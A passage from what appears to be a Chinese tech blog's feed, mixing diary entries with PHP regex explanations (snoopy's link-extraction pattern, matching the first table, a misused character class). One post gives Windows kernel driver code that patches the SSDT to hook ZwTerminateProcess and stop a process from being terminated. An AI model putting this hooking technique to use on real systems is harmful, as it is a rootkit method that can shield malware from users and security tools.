<p>主机抱回来之后，自己卸下了显卡。开机，上网，打算到网上买块新的。老的显卡是我07年在学校买的。ATI RADEON X550，在当初，还算比较前卫的硬件。周五还赞扬其能勤奋工作到现在，而结果得知出问题的就是它。工作了3年多，不到四年，还能接收吧。主板换了华硕P5GC-MX/1333 ,作为硬件小白的我，也不知道换什么显卡较好。熟悉硬件的朋友，麻烦留言告诉一下，感谢了。现在打开网页，拉动浏览器滑动条的时候，卡的比较厉害，播放电影更是，像放映幻灯片一样。实在不能接受。遂网上搜了相关信息。价格在500左右。是有点贵了。遂暂时作罢。一整天心情都很低落，或者说，自从老爷机出问题了，心情一直很差。中午窝在家里，洗了洗衣服，趁太阳好，把冬天穿的衣服拿出来晒了晒。又挪动电脑附近的两个大桌子，打扫卫生，清理一番。一直忙到下午3点，头饿的晕忽忽的。匆忙到沙县小吃随便吃了点，下午，看会书，睡了会觉，早上送GF回家，起得太早了，困的厉害。睡醒之后，都7点多了，照照镜子，看看自己蓬松的发型，猥琐的样子，不禁笑了一笑。洗了把脸，到小区的理发店里剪了头发，由于是小区内，专门给老头老太太理发的，所以费用仅5元，在上海，应该没有比这还低了吧。晚上，把显示器接到电视盒上，看了会电视，差不多都是娱乐类的弱智脑残节目，我极为反感觉，又将显示器接回主机箱，开机到当当网上看了一番。因工作需要,要做个代码自动审计化的程序，我的想法是，不仅仅停留在对关键危险函数的正则匹配，而是做到语法分析，识别未初始化的变量、未过滤的富文本字段、SQL注入的方法等。想必，肯定的熟悉《编译原理》以及LEX、YACC之类相关知识，后悔大学没认真听，造成自己基础薄太弱了。当然，我也觉得大学的时候，直接教学生这么底层的知识没有循序渐进的引导学生去深入更好。可以从最简单的网页制作开始，然后，让学生对其感兴趣，再引导到动态，然后，联合数据库，然后效率优化，然后代码执行原理，然后编译原理类似这种步骤引导学生更好。比起现在的方式，可能更让学生感兴趣。（扯远了）东看西看，忙到了12点多才睡。</p>
<p>对于已经习惯8点左右起床上班的我来说，生物钟在早上8点左右，准时醒，有时候想赖床，但也无法再次入睡。起床洗漱，打开电脑，玩了两局web的三国杀，逛逛论坛，觉得饿了，才去煮点面条吃。回来继续，无意中打开PPC，看到一位网友“落叶人生”同学的帖子问一个正则问题，纠结了一下是否解释一下，以便给对方释疑解惑，也加固自己的知识。犹豫半天，觉得还是写下吧。下面正题：</p>
<p>PPC链接<a href="http://bbs.phpchina.com/thread-189797-1-1.html">http://bbs.phpchina.com/thread-189797-1-1.html</a></p>
<blockquote>
<div id="code0">
<ol>
<li>preg_match_all(&#8220;&#8216;&lt;\s*a\s.*?href\s*=\s*([\"\'])?(?(1)(.*?)\\1|([^\s\&gt;]+))[^&gt;]*&gt;?(.*?)&lt;/a&gt;&#8217;isx&#8221;,$document,$links);</li>
</ol>
<p>对于一般的规范链　接能很好的使用，但不知道为什么对href=后面的网址不含引号的情况无法提取成功，哪个朋友帮分析下？谢谢！</p>
</div>
</blockquote>
<p>其实，我没明白他的意思是想提取链接地址href后面的内容的，还是提取整个标签a中间的所有。</p>
<p>在下面的回帖中，他提到了这个正则来自snoopy.class.php的_striplink方法中的正则，遂到sf.net上下载一份原版到本地。</p>
<p><strong>代码如下</strong></p>
<pre class="brush: php;">
	function _striplinks($document)
	{
		preg_match_all(&quot;'&lt;\s*a\s.*?href\s*=\s*			# find &lt;a href=
						([\&quot;\'])?					# find single or double quote
						(?(1) (.*?)\\1 | ([^\s\&gt;]+))		# if quote found, match up to next matching
													# quote, otherwise match up to next space
						'isx&quot;,$document,$links);

		// catenate the non-empty matches from the conditional subpattern

		while(list($key,$val) = each($links[2]))
		{
			if(!empty($val))
				$match[] = $val;
		}

		while(list($key,$val) = each($links[3]))
		{
			if(!empty($val))
				$match[] = $val;
		}

		// return the links
		return $match;
	}
</pre>
<p><strong>先看下修饰符部分</strong>。【isx】，大家都知道【i】是不区分大小写；【s】是点号通配模式，也就是元字符【.】可以匹配换行符。在这里的作用是为了防止链接中出现换行的情况；<br />
【x】宽松排列和注释模式，也就是空白字符不会被当成正则表达式的一部分，#后面的为注释，方便阅读的作用了。顺便说下括号后面的双引号后面的单引号，跟修饰符i前面的单引号，他们只是正则的起始标识，不是正则的一部分。其实，表达式里有单引号了，这里最好使用别的，比如斜杠，或者闭合的大括号等。<br />
<strong> 再看表达式</strong>【&lt;\s*a\s.*?href\s*=\s*】,其后面也注释了，是匹配“&lt;a href=”的，第一个【\s】匹配&#8221;&lt;&#8221;到&#8221;a&#8221;之间的空白字符，不过一般都没的吧。都直接写&#8221;&lt;a&#8230;&#8230;&#8221;。后面的【\s】也是空白字符，不详细解释了。在后面的【.*?】是匹配“&lt;a &#8220;到“href=”之间的内容，比如&#8221;title=&#8221;&#8230;..&#8221;、target=&#8221;&#8230;.&#8221;等。【href=】中没有元字符，就是匹配【href=】.</p>
<p><strong>再后面</strong>【([\"\'])?】这里的单引号，双引号是被PHP语法转义的，真正的表达式是【(["'])?】,匹配单引号和双音号，并且，用小括号分配了组（整个表达式的第一组），后面有【?】量词，意味这可有可无。</p>
<p>再后面很重要了。去掉PHP的转义字符之后【(?(1) (.*?)\1 | ([^\s&gt;]+)】，这是一个正则表达式的高级用法，叫“条件判断”表达式。语法为【(? if then| else)】。这里的if部分为【(1)】也就是前面说的“整个表达式的第一组”的内容，如果为真，则使用表达式【(.*?)\1】来匹配（\1是引用捕获的第一个组的内容），如果【(1)】没匹配到，则使用【([^\s&gt;]+)】来匹配。这样，就可以实现没有引号的情况下，也是可以匹配到了。（正则表达式的条件判断语法，【|else】可以不写，表示不用else部分的表达式）</p>
<p>对于楼主的问题。应该怎么改？我刚刚刷新了帖子，看到楼主的正则是可以匹配的呀。</p>
<p>汗，贴下PHP的代码吧。</p>
<pre class="brush: php;">

if (preg_match('%&lt;\s*a\s.*?href\s*=\s*([&quot;\'])?(?(1)(.*?)\1|([^\s&gt;]+))[^&gt;]*&gt;(.*?)&lt;/a&gt;%si', $subject)) {
	# Successful match
} else {
	# Match attempt failed
}
</pre>
<p>文章标题跟内容有很大出入，见谅哈。</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/snoopy-class-php%e4%b8%ad_striplink%e6%96%b9%e6%b3%95%e7%9a%84%e6%ad%a3%e5%88%99%e5%88%86%e6%9e%90/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>周末记事-还是我的老爷机</title>
		<link>http://www.cnxct.com/%e5%91%a8%e6%9c%ab%e8%ae%b0%e4%ba%8b-%e8%bf%98%e6%98%af%e6%88%91%e7%9a%84%e8%80%81%e7%88%b7%e6%9c%ba/</link>
		<comments>http://www.cnxct.com/%e5%91%a8%e6%9c%ab%e8%ae%b0%e4%ba%8b-%e8%bf%98%e6%98%af%e6%88%91%e7%9a%84%e8%80%81%e7%88%b7%e6%9c%ba/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 10:31:32 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[正则表达式]]></category>
		<category><![CDATA[老爷机]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=566</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/piaochong.jpg"><img class="alignleft sided inline" title="夫君子之行，静以修身，俭以养德，非淡泊无以明志，非宁静无以致远。" src="http://www.cnxct.com/wp-content/uploads/2010/07/piaochong-150x150.jpg" alt="" width="150" height="150" /></a>
06年买的主机箱+飞利浦CRT显示器，07年更换电源风扇，08年上半年分别更换了主板，硬盘，下面年，在内存最低价的时候，99块包快递买了DDR2 667的内存条一根，更新了老内存。09年再次更换了电源风扇，10年由于换地方住，搬家，桌子太靠墙，CRT大屁股显示器放不下，买了优派的22寸液晶显示器，鸟枪换炮了，哈。CRT显示器忍痛割爱以50元的价格卖给了小贩，哎，心痛。接着，鼠标又不灵了，更换了鼠标。从06年坚守到现在的器件只有CPU、主机箱、显卡，光驱、键盘了。昨天晚上，10点半左右，老爷机又突然间罢工了，顿时，我心急如焚呀，心想即将到来的周末，作为宅男，我不能接受。赶紧调试吧。首先，我以为是天气太热，导致CPU温度过高，激活主板自动保护策略，强制关机的。赶紧把CPU风扇拿出来，放到空调边吹了会，装上去之后，开机，还是不行，主板灯亮了，但是CPU风扇不转，而且，电源也没反映，我愕然了，难道电源又坏了不成？好吧，我认输，周末再说吧，睡觉。]]></description>
			<content:encoded><![CDATA[<p><strong>我的老爷机：</strong><br />
06年买的主机箱+飞利浦CRT显示器，07年更换电源风扇，08年上半年分别更换了主板，硬盘，下面年，在内存最低价的时候，99块包快递买了DDR2 667的内存条一根，更新了老内存。09年再次更换了电源风扇，10年由于换地方住，搬家，桌子太靠墙，CRT大屁股显示器放不下，买了优派的22寸液晶显示器，鸟枪换炮了，哈。CRT显示器忍痛割爱以50元的价格卖给了小贩，哎，心痛。接着，鼠标又不灵了，更换了鼠标。从06年坚守到现在的器件只有CPU、主机箱、显卡，光驱、键盘了。</p>
<p>昨天晚上，10点半左右，老爷机又突然间罢工了，顿时，我心急如焚呀，心想即将到来的周末，作为宅男，我不能接受。赶紧调试吧。首先，我以为是天气太热，导致CPU温度过高，激活主板自动保护策略，强制关机的。赶紧把CPU风扇拿出来，放到空调边吹了会，装上去之后，开机，还是不行，主板灯亮了，但是CPU风扇不转，而且，电源也没反映，我愕然了，难道电源又坏了不成？好吧，我认输，周末再说吧，睡觉。</p>
<p><strong>前序：</strong><br />
在老爷机罢工之前，一群内网友求助正则匹配html标签中 table之间的内容，要发现的第一个table之间的内容。字符串大约为</p>
<pre class="brush: xml;">
&lt;table class=&quot;t1 t2&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;table class=&quot;t1 t2&quot;&gt;sssssssssssssssss&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;table class=&quot;t1 t2&quot;&gt;ss
sssssssssssssss&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
</pre>
<p>同学A提供【&lt;table[\s\S]*&lt;/table&gt;】(具体记不清了，大体是这个)</p>
<p>这个正则的匹配结果是不能满足其要求的，很明显，【*】为量词优先，导致贪婪匹配把后面最后一个&lt;/table&gt;之前的字符串全部匹配进去了。</p>
<p>见截图：</p>
<div id="attachment_567" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/1111.jpg" rel="lightbox[566]"><img class="size-thumbnail wp-image-567" title="A同学提供的不严谨的正则表达式" src="http://www.cnxct.com/wp-content/uploads/2010/07/1111-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">A同学提供的不严谨的正则表达式</p></div>
<p>接着，另外以为网友提到，后面加U修饰符。对于这个正则，对于这个要求，加U修饰符能达到目的吗？ 答案是可以的。为什么？这种方式可靠吗？有风险吗？有其他方法吗？</p>
<p>先来解释一下U（大写字母U，非小写，小写的是uincode字符模式）是干吗的？ 是对“匹配优先量词（贪婪）”与“<a href="http://www.cnxct.com/%e5%b0%8f%e8%ae%ae%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e6%95%88%e7%8e%87%ef%bc%9a%e8%b4%aa%e5%a9%aa%e3%80%81%e9%9d%9e%e8%b4%aa%e5%a9%aa%e4%b8%8e%e5%9b%9e%e6%ba%af/" target="_blank">忽略优先量词（非贪婪）</a>”的取反，也就是说，原来是【*】、【+】的，会按照【*?】、【+?】来执行，如果是【*?】、【+?】的，则按照【*】、【+】来执行，这个修饰符很怪，很乱，如果正则为【\w+】,为了达到“非贪婪匹配”，使用了修饰符U。过几天，你修改了这个正则，修改为【\w+\s+?】,你的本意是在原来的基础上，加上非贪婪的空白字符的匹配，可是，后面的大写字母U修饰符也对你前面的非贪婪取反了，从而，导致匹配错误，所以，建议大家不要使用大写字母的U修饰符，直接在表达式里写好贪婪还是非贪婪。</p>
<p>我的答案是【&lt;table[^&gt;]+?&gt;(?&gt;((?!&lt;/table&gt;).(?&lt;!&lt;table))+)&lt;/table&gt;】。</p>
<p>我靠，你这这什么玩意？这么乱？这是什么意思？</p>
<p><strong>解释一下：</strong></p>
<ol>
<li>【&lt;table[^&gt;]+?&gt;】部分是匹配“&lt;table class=&#8221;t1 t2&#8243;&gt;”这种table的开头，包括属性的字符串，其中，使用了忽略优先量词（非贪婪），由于其属性不会太多，常规下不超过50个字符串，所以，没有使用固化分组，或者<a title="PHP 正则表达式 占有优先量词" href="http://www.cnxct.com/php%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e7%9a%84%e6%95%88%e7%8e%87%ef%bc%9a%e5%9b%9e%e6%ba%af%e4%b8%8e%e5%9b%ba%e5%8c%96%e5%88%86%e7%bb%84/" target="_blank">占有优先量词</a>来减少回溯。</li>
<li>【&lt;/table&gt;】(最后面的)是匹配字符串结束的。不用解释了吧。</li>
<li>【(?&gt;((?!&lt;/table&gt;).(?&lt;!&lt;table))+)】这个比较长，主要是匹配&lt;table&#8230;.到&lt;/table&gt;中间的字符串，其中最外面一层【(?&gt;)】是<a title="PHP 正则表达式 占有优先量词" href="http://www.cnxct.com/php%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e7%9a%84%e6%95%88%e7%8e%87%ef%bc%9a%e5%9b%9e%e6%ba%af%e4%b8%8e%e5%9b%ba%e5%8c%96%e5%88%86%e7%bb%84/" target="_blank">占有优先量词</a>，用来防止不必要的回溯，防止中间超长的字符串造成崩溃。【(?!&lt;/table&gt;)】是顺序零宽断言非操作，匹配位置，针对其后面的规则【.】，意思就是说，规则【.】后面不能是字符串“&lt;/table&gt;”，同样正则【(?&lt;!&lt;table】是逆序零宽断言非操作，也匹配位置，针对其前面的规则【.】，意思就是说，规则【.】前面不能是字符串“&lt;table&#8230;”，这样，两个零宽断言来确定一个字符串，如果是多个字符串，则加上匹配优先量词【+】，但是这个【+】的位置要注意了，不能直接放在【.】的后面，因为要保证每个【.】匹配的字符串，前后的规则都符合两个零宽断言，则需要放在外面，也就是上面所写的那样。</li>
</ol>
<p>OK，解释完毕，你明白了没？如果没，那是我的错。请留言，批评，我承认错误。（当使用匹配的时候，为了更准确，建议开启不区分大小写模式，以及，多行匹配模式，即修饰符i和修饰符s，小写的s，不是大写的，大写的S是另外的含义&lt;以后写&gt;。）</p>
<p>见截图：</p>
<div id="attachment_569" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/222.jpg" rel="lightbox[566]"><img class="size-thumbnail wp-image-569" title="相对比较严谨，比较准确的正则表达式" src="http://www.cnxct.com/wp-content/uploads/2010/07/222-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">相对比较严谨，比较准确的正则表达式</p></div>
<p>测试代码：</p>
<pre class="brush: php;">
$str='111&lt;table class=&quot;t1 t2&quot;&gt;&lt;tr&gt;&lt;td&gt;&lt;table class=&quot;t1 t2&quot;&gt;sssssssssssssssss&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;&lt;table class=&quot;t1 t2&quot;&gt;ss
sssssssssssssss&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;ssss';
preg_match_all('%&lt;table[^&gt;]+?&gt;(?&gt;((?!&lt;/table&gt;).(?&lt;!&lt;table))+)&lt;/table&gt;%si', $str, $result, PREG_PATTERN_ORDER);
print_r($result[0]);
</pre>
<p>我的答案可以解决问题吗？可以。准确吗？还行，不太准。为什么？如果table中间有嵌套，则无法正确匹配。如何修复？正则递归匹配。如果递归？</p>
<p>留给你研究吧。<a href="http://www.cnxct.com/cfc4n%E5%B0%8F%E8%AF%95%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/" target="_blank">CFC4N小试正则表达式</a>里已经介绍了一个关于递归匹配的例子，你可以参考一下。</p>
<p><strong>后续：</strong></p>
<p>老爷机挂了，我一夜没睡着，早上6点10分就醒了，起来之后，捣鼓两下，也没心情了，已经知道大体的症状。手头没工具，也没法测试，算了，索性洗漱去公司。走的早也好，地铁上没多少人，一路不拥挤，唯一的缺点就是没拿到“时代报”。不过到了公司楼下，有派发的，顺手拿了一份。到座位上，心思还在我心爱的老爷机上，也有重新买台新机器的想法，到DELL官方网站上搜了几下，发现价格奇贵，光主机，都4K-5K，看了一会，我就大小这个念头了，作为寄生在这大城市的P民，也别要求太高了。讲究用吧。哎，打算周末冒热抱出去找维修铺，各位，祝福我吧。</p>
<p>PS：下午，拿了早上没看的报纸去厕所，心想，这次终于不干等了，可以打发时间了。当我到厕所里的时候，我震惊了，我靠，马桶上起码5份报纸，而且，还都不一样。汗。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%91%a8%e6%9c%ab%e8%ae%b0%e4%ba%8b-%e8%bf%98%e6%98%af%e6%88%91%e7%9a%84%e8%80%81%e7%88%b7%e6%9c%ba/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>SSDT HOOK</title>
		<link>http://www.cnxct.com/ssdt-hook/</link>
		<comments>http://www.cnxct.com/ssdt-hook/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 02:14:08 +0000</pubDate>
		<dc:creator>hello world</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[hook]]></category>
		<category><![CDATA[ssdt]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/ssdt-hook/</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/ssdt-hook.jpg"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/ssdt-hook-150x150.jpg" alt="" title="ssdt hook" width="150" height="150" class="alignleft sided inline" /></a>
这是我写的第一个驱动程序，呵呵。虽然烂了点，但是有纪念意义。放在这里留个纪念，这个程序用到了，SSDTHOOK 应用程序和驱动程序
通信等知识，代码比较凌乱。
先简单说一下SSDT HOOK。应用程序的API在使用的时候要调用系统的低层的API，那么系统如何找到对应的API呢？在系统里有一张表。
System Services Descriptor Table，系统服务描述符表。在这个表里就有各种系统API的地址，我们只要把这些地址改成我们自己函数的地址。那么结果大家可想而知了，系统就会调用我们的API了。道理就是这么简单。]]></description>
			<content:encoded><![CDATA[<p>运行效果</p>
<p><a href="http://www.cnxct.com/wp-content/uploads/2010/07/jieguo.jpg" rel="lightbox[554]"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/jieguo-300x240.jpg" alt="" title="jieguo" width="300" height="240" class="alignnone size-medium wp-image-553" /></a></p>
<p>先简单说一下SSDT HOOK。应用程序的API在使用的时候要调用系统的低层的API</p>
<p>那么系统如何找到对应的API呢？在系统里有一张表。</p>
<p>System Services Descriptor Table，系统服务描述符表。</p>
<p>在这个表里就有各种系统API的地址，我们只要把这些地址改成我们自己函数的地址。</p>
<p>那么结果大家可想而知了，系统就会调用我们的API了。道理就是这么简单。当然实现</p>
<p>起来也很简单。</p>
<p>说一下步骤</p>
<p>首先我们要定义一个SSDT的结构代码如下</p>
<pre class="brush: cpp;">
typedef struct ServiceDescriptorEntry
{
	unsigned int *ServiceTableBase;
	unsigned int *ServiceCounterTableBase; //Used only in checked build
	unsigned int NumberOfServices;
	unsigned char *ParamTableBase;
} SSDTEntry;
__declspec(dllimport) SSDTEntry KeServiceDescriptorTable;
</pre>
<p>然后我们要定义一个自己的API函数，这个函数根据你要HOOK的API来</p>
<pre class="brush: cpp;">
NTKERNELAPI NTSTATUS ZwTerminateProcess(IN HANDLE ProcessHandle OPTIONAL, IN NTSTATUS 

ExitStatus);
</pre>
<p>当然还要一个结构来保存要HOOK的API。为什么要保存，当然是为了恢复。:）他的结构如下</p>
<pre class="brush: cpp;">
typedef NTSTATUS(*_ZwTerminateProcess)(IN HANDLE ProcessHandle OPTIONAL,IN NTSTATUS 

ExitStatus);
_ZwTerminateProcess Old_ZwTerminateProcess;
</pre>
<p>好了，下面我们要开始把SSDT里的API替换成我们的了。替换之前先把原先的API保存下。代码如下</p>
<pre class="brush: cpp;">
	//找出旧函数地址并保存
	Old_ZwTerminateProcess =(_ZwTerminateProcess)(GetSystemFunc(ZwTerminateProcess));

#define GetSystemFunc(FuncName) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)

((PUCHAR)FuncName+1)]
</pre>
<p>然后我们要改写了。当然系统不会那么随便就让我们来改写这个地址。它是受保护的只能读不能写。</p>
<p>那么我们怎么办呢？创建一个MDL来解决。代码如下</p>
<pre class="brush: cpp;">
	//设置内存为可写
	MDSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, 

KeServiceDescriptorTable.NumberOfServices*4);
	if(!MDSystemCall)
		return STATUS_UNSUCCESSFUL;
	MmBuildMdlForNonPagedPool(MDSystemCall);
	MDSystemCall-&gt;MdlFlags = MDSystemCall-&gt;MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
	MappedSCT = MmMapLockedPages(MDSystemCall, KernelMode);
</pre>
<p>已经可以修改了那么我们要修改了。代码如下</p>
<pre class="brush: cpp;">
HookOn( ZwTerminateProcess, NewZwTerminateProcess);

#define HookOn(_Old, _New) \
	(PVOID) InterlockedExchange( (PLONG) &amp;MappedSCT[GetIndex(_Old)], (LONG) _New)
</pre>
<p>这样就把地址修改成我们的了，下面怎么处理自己看着办好了。我这里是仿止结束。</p>
<pre class="brush: cpp;">
//通过ProcessHandle来获得当前要结束的进程的EPROCESS
	if (ObReferenceObjectByHandle

(ProcessHandle,GENERIC_READ,NULL,KernelMode,&amp;SJMPROCESS,0) == STATUS_SUCCESS)
	{
		//如果要结束的是我们需要保护的进程,这里分两种情况
		if (ZHUPROCESS== SJMPROCESS)
		{
			if (ZHUPROCESS != PsGetCurrentProcess())
			{//情况一:当前进程不是我们所保护的进程
				//换句话说也就是其他进程试图结束我们所保护的进程,当然不能

让他结束
				nStatus = STATUS_ACCESS_DENIED;
			}

		}
	}
</pre>
<p>用完了当然要把它恢复，恢复代码如下</p>
<pre class="brush: cpp;">
//卸载Hook
	UnHook( ZwTerminateProcess, Old_ZwTerminateProcess);

#define UnHook(_Old, _New) \
	InterlockedExchange( (PLONG) &amp;MappedSCT[GetIndex(_Old)], (LONG) _New)
</pre>
<p>差点忘了 MDL也要恢复 呵呵 恢复代码如下</p>
<pre class="brush: cpp;">
	//解锁、释放MDL
	if(MDSystemCall)
	{
		MmUnmapLockedPages(MappedSCT, MDSystemCall);
		IoFreeMdl(MDSystemCall);
	}
</pre>
<p>至此大致过程已经完了。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/ssdt-hook/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP中正则表达式对UNICODE字符码的匹配</title>
		<link>http://www.cnxct.com/php%e4%b8%ad%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%af%b9unicode%e5%ad%97%e7%ac%a6%e7%a0%81%e7%9a%84%e5%8c%b9%e9%85%8d/</link>
		<comments>http://www.cnxct.com/php%e4%b8%ad%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%af%b9unicode%e5%ad%97%e7%ac%a6%e7%a0%81%e7%9a%84%e5%8c%b9%e9%85%8d/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 16:47:27 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[PCRE]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[正则表达式]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/php%e4%b8%ad%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e5%af%b9unicode%e5%ad%97%e7%ac%a6%e7%a0%81%e7%9a%84%e5%8c%b9%e9%85%8d/</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/lily_of_the_valley.jpg"><img src="http://www.cnxct.com/wp-content/uploads/2010/07/lily_of_the_valley-150x150.jpg" alt="" title="PHP正则表达式匹配UNICODE字符" width="150" height="150" class="alignleft sided inline" /></a>
我们在来分析一下这个网友写的正则表达式【[chr(128)-chr(256)]+】，正则表达式的PCRE引擎是如何解释这个正则的呢？首先，我们要知道，在正则表达式中，中括号【[]】表示字符组，字符组中除了连接符【-】只外，都不是元字符，也就是说，都是普通字符，当然，如果连字符出现在第一个，或者不是标识两个字符之间范围的，都是普通的字符横杠“-”罢了。这里的chr(128)只是标识ASCII码为128（确切的说，ASCII码只是0-127个，128到其他的，应该不叫ASCII码了。），但是在正则里，他仍然代表【c、h、r、(、1、2、8、)】（顿号不是，只是区分易读的）这八个字符罢了。这个正则里的连接字符，是哪些范围呢？很明显，这里的连接字符的范围是【)-c】，“)”ASCII码为0x29，也就是十进制的41；“c”的ASCII码为0x63，也就是十进制的99，那么，他这个连接字符的范围就是ASCII 41（chr(41)）到ASCII 99（chr(99)）之间的字符。]]></description>
			<content:encoded><![CDATA[<p>酷暑难耐，又在家宅一整天。天气热或许是借口，尽管不热，我也喜欢宅在家。晚上看新三国83集（插一句，最近世界杯很火，可是我不看世界杯。来鄙视我吧），一直看到10点半，突然觉得肚子痛，赶紧直奔厕所。如厕之后，觉得精神抖擞，容光焕发，年轻了二十多岁，打开QQ，看到N多条消息，其中有条是生命如蓝同学留的。打开一看，是PPC的链接，突然觉得我好久没登陆PPC了，想当年&#8230;&#8230;..算了，看链接吧。</p>
<p> 打开链接，看到标题是“请教PHP 一个正则匹配的问题”，又是正则表达式，好吧，看下，谁让俺比较喜欢鼓捣正则呢。下面开始正题。<br />
网友ainiaa的问题是</p>
<blockquote><p>
PHP代码如下</p>
<pre class="brush: php;">
$words = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSRUVWXYZ!@#$%^&amp;*()_+-=[]\\,./{}|&lt;&gt;?'\&quot;你好啊我们&quot;;
$otherStr=preg_replace(&quot;/[chr(128)-chr(256)]+/is&quot;,&quot; &quot;,$words);
echo 'otherStr:',$otherStr;
</pre>
<p>为什么打印的结果会是：<br />
otherStr: ! #$% &#038; {}| &#8216;&#8221;你好啊我们</p>
<p>麻烦问下其中正则表达式 /[chr(128)-chr(256)]+/is 代表什么意思？<br />
如果/[chr(128)-chr(256)]+/is 指的是ascii码在128到256的字符，为什么a-zA-Z这样的字符也被替换掉了，他们的ascii码是小于127的。<br />
最令人郁闷的是为什么ascii码同在0-127区间&#8221;#&#8221;,&#8221;$&#8221;,&#8221;%&#8221;,&#8221;&#038;&#8221;, &#8220;!&#8221;,&#8221; {&#8220;,&#8221;}&#8221;,&#8221;|&#8221;,&#8221; &#8216;&#8221;,&#8221;确没有被替换掉？？？？<br />
更令人感觉神奇的是 如果把正则表达式修改为&#8221;/[chr(128)-chr(256)]+/s&#8221;的话，输出的结果就变成了：  otherStr:  defg ijklmnopq stuvwxyz ! #$% &#038; {}| &#8216;&#8221;你好啊我们<br />
只是把正则表达式中的符号‘i’给去掉，结果缺失这样的。 完全的令我理解不了。<br />
不知各位 有何见解？？？？<br />
另附ascii 码 对照表<br />
（这个ASCII码表的图我就不贴了）
</p></blockquote>
<p>回帖中，有个网友说没解析chr(128)这些，并给出了新的解决方法。首先说下此网友回答的是正确的，先不评论他是否“知其然，且知其所以然”，这位网友没有给出错误的原因。</p>
<p><strong>CFC4N来回答一下这位网友：</strong></p>
<p>PHP的正则的preg_match函数用的是PCRE正则引擎，这位网友的代码中，PCRE引擎处理的正则表达式为【/[chr(128)-chr(256)]+/is】，后面的is是什么呢？<br />
在PHP的正则里，边界字符后面的叫模式修饰符。它会告诉引擎如何解析，处理正则。其中i修饰符表示不区分大小写。s表示“点号通配模式”，用来让正则里的元字符点号【.】可以匹配换行符，这个修饰符仅对点号【.】起作用。在这位网友的问题中，修饰符s并不起作用的。</p>
<p><strong>查找原因：</strong><br />
我们在来分析一下这个网友写的正则表达式【[chr(128)-chr(256)]+】，正则表达式的PCRE引擎是如何解释这个正则的呢？首先，我们要知道，在正则表达式中，中括号【[]】表示字符组，字符组中除了连接符【-】只外，都不是元字符，也就是说，都是普通字符，当然，如果连字符出现在第一个，或者不是标识两个字符之间范围的，都是普通的字符横杠“-”罢了。这里的chr(128)只是标识ASCII码为128（确切的说，ASCII码只是0-127个，128到其他的，应该不叫ASCII码了。），但是在正则里，他仍然代表【c、h、r、(、1、2、8、)】（顿号不是，只是区分易读的）这八个字符罢了。这个正则里的连接字符，是哪些范围呢？很明显，这里的连接字符的范围是【)-c】，“)”ASCII码为0&#215;29，也就是十进制的41；“c”的ASCII码为0&#215;63，也就是十进制的99，那么，他这个连接字符的范围就是ASCII 41（chr(41)）到ASCII 99（chr(99)）之间的字符。也就是说，这位网友的正则的范围是【[hr)-c(]】，就是chr(41)到chr(99)外加hr这两个字母和前面的“(”。<br />
网友第一次测试的时候，有修饰符i，意思就是说，不区分大小写，那么在chr(41)到chr(99)之间的字符，以及这些字符如果有大小写，则包括他们的大小写都符合匹配。都会被替换成空。其第二次测试的时候，去掉了修饰符i，进行了不区分大小写的匹配，由于其范围只到c，但突然，再除了小写字母的“h”、“r”，所以，测试结果会多出“defgijklmnopqstuvwxyz”。所以，他的结果出现了这些差别。<br />
